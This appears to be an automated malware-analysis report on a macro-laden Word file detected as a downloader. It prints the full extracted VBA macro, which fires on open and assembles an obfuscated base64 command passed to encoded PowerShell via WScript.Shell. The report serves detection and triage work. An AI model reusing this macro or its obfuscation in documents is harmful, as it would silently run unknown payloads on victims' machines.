MALICIOUS
274
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1105 Ingress Tool Transfer
This OOXML document contains multiple high-severity VBA macro heuristics, including AutoOpen, Document_Open, and Workbook_Open, indicating automatic execution upon opening. The critical ClamAV detection and the presence of VBA macros strongly suggest a downloader. The VBA script, though obfuscated, likely attempts to download and execute a second-stage payload, aligning with the 'Doc.Downloader.Generic' detection.
Heuristics 10
-
ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
gfjgur = " " & jrurm & " " & JFkrri & "==" CreateObject(fhurmm & DJke).Run$ JFkeibf & gfjgur -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() JFDfemfvof -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() JFDfemfvof -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() JFDfemfvof -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Attribute VB_Name = "NewMacros" Sub Auto_Open() JFDfemfvof -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://tempuri.org/IRoamingSe In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 6067 bytes |
SHA-256: 27968954d4a7b04bb7994fd42c1a49c1713ce69e805248eb37097a8857a05b1b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub Auto_Open()
JFDfemfvof
End Sub
Sub AutoOpen()
JFDfemfvof
End Sub
Sub Workbook_Open()
JFDfemfvof
End Sub
Sub Document_Open()
JFDfemfvof
End Sub
Function DJeufem()
agrr = Chr(99)
jgi = Chr(65)
oep = Chr(66)
eit = Chr(118)
lgo = Chr(72)
VJVdufm = agrr & jgi & oep & eit & jgi & lgo & agrr & jgi & Chr(90) & Chr(81) & oep & Chr(121) & jgi & lgo & Chr(77) & jgi & Chr(97) & jgi & oep & Chr(108) & jgi & Chr(71) & Chr(119) & jgi & Chr(98) & jgi & jgi & Chr(117) & jgi & Chr(71) & Chr(85) & jgi & Chr(101) & jgi & oep & Chr(108) & jgi & Chr(67) & jgi & jgi & Chr(76) & Chr(81) & oep & Chr(51) & jgi & Chr(67) & jgi & jgi & Chr(77) & Chr(81) & jgi & Chr(103) & jgi & Chr(68) & Chr(48) & jgi & Chr(77) & Chr(81) & jgi & Chr(55) & jgi & Chr(69) & Chr(107) & jgi & Chr(98) & Chr(103) & oep & Chr(50) & jgi & Chr(71) & Chr(56) & jgi & Chr(97) & Chr(119) & oep & Chr(108) & jgi & Chr(67) & Chr(48) & jgi & Chr(86) & Chr(119) & oep & Chr(108) & jgi & Chr(71) & Chr(73) & jgi & Chr(85) & Chr(103) & oep & Chr(108) & jgi & lgo & Chr(69) & jgi & Chr(100) & Chr(81) & oep & Chr(108) & jgi & lgo & Chr(77) & jgi & Chr(100) & jgi & jgi & Chr(103) & jgi & Chr(67) & Chr(48) & jgi & Chr(86) & Chr(81) & oep & Chr(83) & jgi & Chr(69) & Chr(107) & jgi & Chr(73)
frkgiri = jgi & oep & Chr(111) & jgi & lgo & Chr(81) & jgi & Chr(100) & jgi & oep & Chr(119) & jgi & lgo & Chr(77) & jgi & Chr(79) & Chr(103) & jgi & eit & jgi & Chr(67) & Chr(56) & jgi & Chr(89) & Chr(103) & oep & Chr(112) & jgi & lgo & Chr(81) & jgi & Chr(76) & Chr(103) & oep & Chr(115) & jgi & lgo & Chr(107) & jgi & Chr(76) & Chr(119) & jgi & Chr(122) & jgi & Chr(71) & Chr(115) & jgi & Chr(83) & Chr(119) & oep & Chr(105) & jgi & Chr(70) & Chr(73) & jgi & Chr(78) & Chr(103) & oep & Chr(122) & jgi & Chr(67) & jgi & jgi & Chr(76) & Chr(81) & oep & Chr(80) & jgi & Chr(67) & jgi & jgi & Chr(81) & Chr(119) & jgi & Chr(54) & jgi & Chr(70) & Chr(119) & jgi & Chr(86) & Chr(81) & oep & Chr(122) & jgi & Chr(71) & Chr(85) & jgi & agrr & Chr(103) & oep & Chr(122) & jgi & Chr(70) & Chr(119) & jgi & Chr(82) & Chr(119) & oep & Chr(67)
KFiermvp = jgi & Chr(69) & Chr(56) & jgi & Chr(87) & Chr(81) & oep & Chr(70) & jgi & Chr(70) & Chr(73) & jgi & Chr(88) & jgi & oep & oep & jgi & lgo & jgi & jgi & agrr & jgi & oep & Chr(69) & jgi & Chr(71) & Chr(69) & jgi & Chr(100) & jgi & oep & Chr(104) & jgi & Chr(70) & Chr(119) & jgi & Chr(84) & jgi & oep & eit & jgi & Chr(71) & Chr(77) & jgi & Chr(89) & Chr(81) & oep & Chr(115) & jgi & Chr(70) & Chr(119) & jgi & Chr(86) & jgi & oep & Chr(108) & jgi & Chr(71) & Chr(48) & jgi & agrr & jgi & oep & agrr & jgi & lgo & agrr & jgi & Chr(90) & Chr(81) & oep & Chr(105) & jgi & Chr(71) & Chr(103) & jgi & Chr(98) & Chr(119) & oep & Chr(122) & jgi & lgo & Chr(81) & jgi & Chr(76) & Chr(103) & oep & Chr(108) & jgi & lgo & Chr(103) & jgi & Chr(90) & Chr(81) & jgi & Chr(55) & jgi & Chr(70) & Chr(77) & jgi & Chr(100) & jgi & oep & Chr(104) & jgi & lgo & Chr(73) & jgi & Chr(100) & jgi & jgi & Chr(116) & jgi & Chr(70) & jgi & jgi & agrr & Chr(103) & oep & eit & jgi & Chr(71) & Chr(77) & jgi & Chr(90) & Chr(81)
vpror = oep & Chr(122) & jgi & lgo & Chr(77) & jgi & Chr(73) & jgi & jgi & Chr(116) & jgi & Chr(69) & Chr(89) & jgi & Chr(73) & jgi & oep & Chr(68) & jgi & Chr(68) & Chr(111) & jgi
vffkbjr = Chr(88) & jgi & oep & Chr(86) & jgi & lgo & Chr(77) & jgi & Chr(90) & Chr(81) & oep & Chr(121) & jgi & lgo & Chr(77) & jgi & Chr(88) & jgi & oep & lgo & jgi & Chr(69) & Chr(73) & jgi & Chr(84) & Chr(119) & oep & Chr(90) & jgi & Chr(69) & Chr(85) & jgi & Chr(85) & Chr(103) & oep & agrr & jgi & Chr(69) & Chr(69) & jgi & agrr & jgi & oep & Chr(119) & jgi & Chr(69) & Chr(81) & jgi & Chr(89) & Chr(81) & oep & Chr(48) & jgi & Chr(71) & Chr(69) & jgi & Chr(88) & jgi & oep & Chr(77) & jgi & Chr(71) & Chr(56) & jgi & Chr(89) & Chr(119) & oep & Chr(104) & jgi & Chr(71) & Chr(119) & jgi & Chr(88) & jgi & oep & Chr(85) & jgi & Chr(71) & Chr(85) & jgi & Chr(98) & Chr(81) & oep & Chr(119) & jgi & Chr(70) & Chr(119) & jgi & Chr(100) & Chr(119) & oep & Chr(108) & jgi & Chr(71) & Chr(73) & jgi & Chr(97) & jgi & oep & eit & jgi & lgo & Chr(77) & jgi & Chr(100) & jgi & jgi & Chr(117) & jgi & Chr(71) & Chr(85) & jgi & Chr(101) & jgi & oep & Chr(108) & jgi & Chr(67) & jgi & jgi & Chr(76) & Chr(81)
biigri = oep & oep & jgi & Chr(67) & jgi & jgi & Chr(74) & Chr(119) & jgi & Chr(116) & jgi & Chr(71) & Chr(85) & jgi & Chr(73) & jgi & oep & Chr(106) & jgi & Chr(71) & Chr(48) & jgi & Chr(90) & jgi & jgi & Chr(103) & jgi & Chr(68) & Chr(107) & jgi & Chr(77) & Chr(81) & jgi & Chr(117) & jgi & Chr(68) & Chr(69) & jgi & Chr(77) & Chr(103) & jgi & Chr(120) & jgi & Chr(67) & Chr(52) & jgi & Chr(77) & Chr(81) & jgi & Chr(51) & jgi & Chr(68) & agrr & jgi & Chr(76) & Chr(103) & jgi & Chr(121) & jgi & Chr(68) & jgi & jgi & Chr(78) & jgi & jgi & Chr(103) & jgi & Chr(68) & Chr(103) & jgi & Chr(77) & jgi & jgi & Chr(52) & jgi & Chr(68) & jgi & jgi & Chr(74) & Chr(119) & jgi & Chr(103) & jgi & Chr(67) & Chr(48) & jgi & Chr(100) & Chr(119) & oep & Chr(112) & jgi & Chr(67) & jgi & jgi & Chr(97) & jgi & jgi & Chr(55) & jgi & jgi
DJeufem = VJVdufm & frkgiri & KFiermvp & vpror & vffkbjr & biigri
End Function
Private Sub JFDfemfvof()
ffLFD = "e"
fhurmm = Chr(50 + 69) & Chr(35 + 65 + 15) & Chr(67 + 32) & Chr(35 + 64 + 15) & Chr(30 + 64 + 11) & "p" & "t."
DJke = "S" & "h" & ffLFD & "ll"
JFkeibf = "p" & "o" & "w" & ffLFD & "r" & DJke & "." & ffLFD & "x" & ffLFD
jrurm = Chr(45) & ffLFD & Chr(99)
JFkrri = DJeufem
gfjgur = " " & jrurm & " " & JFkrri & "=="
CreateObject(fhurmm & DJke).Run$ JFkeibf & gfjgur
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 48640 bytes |
SHA-256: 53f03122ddbcfef2cd43e89013f1d813b9e5ef3a18a8c25b3a9e74415f782f40 |
|||
|
Detection
ClamAV:
Doc.Downloader.Generic-6698421-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.